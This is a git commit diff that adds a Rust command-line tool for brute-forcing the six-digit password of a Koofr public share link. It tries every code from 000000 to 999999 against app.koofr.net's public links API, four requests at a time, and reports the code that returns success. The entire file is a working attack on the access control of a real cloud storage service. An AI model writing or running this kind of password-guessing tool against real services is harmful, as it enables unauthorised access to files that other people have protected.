summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/main.rs69
1 files changed, 69 insertions, 0 deletions
diff --git a/src/main.rs b/src/main.rs
new file mode 100644
index 0000000..03f0f24
--- /dev/null
+++ b/src/main.rs
@@ -0,0 +1,69 @@
+use clap::Parser;
+use reqwest::{Client, StatusCode};
+use std::sync::{
+ Arc,
+ atomic::{AtomicBool, Ordering},
+};
+use tokio::task::JoinSet;
+
+#[derive(Debug, Parser)]
+struct Cli {
+ link: Arc<String>,
+ #[arg(default_value_t = 0)]
+ start: u32,
+ #[arg(default_value_t = 999999)]
+ end: u32,
+}
+
+async fn query_api(client: &Client, link: &str, pass: u32) -> Result<Option<u32>, u32> {
+ let url = format!("https://app.koofr.net/api/v2/public/links/{link}?password={pass:06}");
+ match client.get(&url).send().await {
+ Ok(resp) => match resp.status() {
+ StatusCode::OK => Ok(Some(pass)),
+ StatusCode::UNAUTHORIZED => Ok(None),
+ _ => Err(pass),
+ },
+ Err(_) => Err(pass),
+ }
+}
+
+#[tokio::main]
+async fn main() -> anyhow::Result<()> {
+ let args = Cli::parse();
+ let client = Client::new();
+ let running = Arc::new(AtomicBool::new(true));
+ let r = running.clone();
+
+ ctrlc::set_handler(move || {
+ r.store(false, Ordering::SeqCst);
+ })
+ .expect("Error setting ctrl+c handler");
+
+ for passes in (args.start..args.end).collect::<Vec<_>>().chunks(4) {
+ if !running.load(Ordering::SeqCst) {
+ println!("Stopped at:\t{}", passes.first().unwrap());
+ return Ok(());
+ }
+ let mut set = JoinSet::<Result<Option<u32>, u32>>::new();
+
+ for pass in passes {
+ let link = args.link.clone();
+ let client = client.clone();
+ let p = *pass;
+ set.spawn(async move { query_api(&client, &link, p).await });
+ }
+
+ while let Some(res) = set.join_next().await {
+ match res? {
+ Ok(Some(num)) => {
+ println!("Found:\t{num}");
+ return Ok(());
+ }
+ Err(num) => eprintln!("Error on:\t{num}"),
+ _ => (),
+ }
+ }
+ }
+
+ Err(anyhow::anyhow!("Nothing was found"))
+}